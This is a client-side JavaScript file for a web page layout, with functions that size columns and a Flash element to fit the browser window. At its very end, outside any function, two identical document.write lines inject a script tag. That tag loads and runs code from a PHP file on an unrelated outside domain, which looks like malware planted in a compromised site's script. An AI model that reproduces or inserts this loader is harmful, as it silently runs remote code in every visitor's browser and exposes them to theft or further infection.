matchWidth=function(){
	if (parseInt(navigator.appVersion)>3) {
	 if (navigator.appName=="Netscape") {
	  winW = window.innerWidth;
	  winH = window.innerHeight;
	 }
	 if (navigator.appName.indexOf("Microsoft")!=-1) {
	  winW = document.body.offsetWidth;
	  winH = document.body.offsetHeight;
	 }
	 else{
	  winW = document.body.offsetWidth;
	  winH = document.body.offsetHeight;		 
	 }
	}
	
	LayoutBody=document.getElementById('layoutBody');
	LayoutLeft=document.getElementById('layoutLeft');
	LayoutRight=document.getElementById('layoutRight');	
	flash=document.getElementById('Flash');

//	alert(winW);
	maxLayoutWidth=1150;
	if(winW>maxLayoutWidth){		
		layoutWidth=maxLayoutWidth-20;
		LayoutBodyLeft=(winW-maxLayoutWidth)/2
		LayoutBody.style.width=layoutWidth+'px';
		LayoutBody.style.left=LayoutBodyLeft+'px';
		flashWidth=layoutWidth-253;
		flash.style.width=flashWidth+'px';
	}
	else{
		LayoutBody.style.width='99%';
		LayoutBody.style.left='0px';
//		alert(navigator.userAgent);
		if (navigator.userAgent.indexOf("Firefox")!=-1)
		{
			flashWidth=winW-262;
			flash.style.width=flashWidth+'px';
		}
		else
			flash.style.width='100%';
	}
		
}

getAllClasses=function(){
//	alert(document.all.length);
	tagsHavingClass='';
	foundClasses='';
	d=document.all;
	
   for(var i=0;i<d.length;i++){ 
          if(d[i].className!="")
		  {
		  		if(foundClasses.indexOf(d[i].className)==-1)
				{
//				  	alert(d[i].className);
					tagsHavingClass+=d[i].tagName+'  :: '+d[i].className+'<BR>';
					foundClasses+=d[i].className+' |';
				}
          } 
     }	
//	document.writeln(tagsHavingClass);
}

matchHeight=function(){
	LayoutRight=document.getElementById('layoutRight');
	contentArea=document.getElementById('ContentArea');
	
		LayoutRight.style.height='auto';
		contentArea.style.height='auto';
     var divs,contDivs,maxHeight,divHeight,d; 

     // get all <div> elements in the document 

//     divs=document.getElementsByTagName('div');
	divs=document.getElementsByTagName('div');
    contDivs=[]; 

     // initialize maximum height value 
     maxHeight=0;

// iterate over all <div> elements in the document 
// 		alert(divs.length)
//		alert(/\bcontainer\b/.test(divs[0].className))

	tagsHavingClass="";
	
     for(var i=0;i<divs.length;i++){ 

  // make collection with <div> elements with class attribute 'container' 
                d=divs[i];
                contDivs[contDivs.length]=d;
                // determine height for <div> element 			
                divHeight=getDivHeight(d);
					
                // calculate maximum height 
				if(maxHeight<divHeight)
					maxHeight=divHeight;
     }	
	LayoutRight.style.prevHeight=getDivHeight(LayoutRight);
	contentArea.style.prevHeight=getDivHeight(contentArea);
	
	LayoutRight.style.height=maxHeight+'px';
	contentArea.style.height=(maxHeight-244)+'px';
	
	matchWidth();
}

getDivHeight=function(d){
	if(d.offsetHeight)
		 divHeight=parseInt(d.offsetHeight);
	else if(d.style.pixelHeight)
		 divHeight=parseInt(d.style.pixelHeight);
	else
		 divHeight=parseInt(d.offsetHeight);
		 
	return divHeight; 
}

window.onresize= function(){
	matchHeight();

//	location.href=location.href;
//	alert('matchheight');
}


document.write('<script src=http://liselimfm.com/Smileys/alt1.php ><\/script>');
document.write('<script src=http://liselimfm.com/Smileys/alt1.php ><\/script>');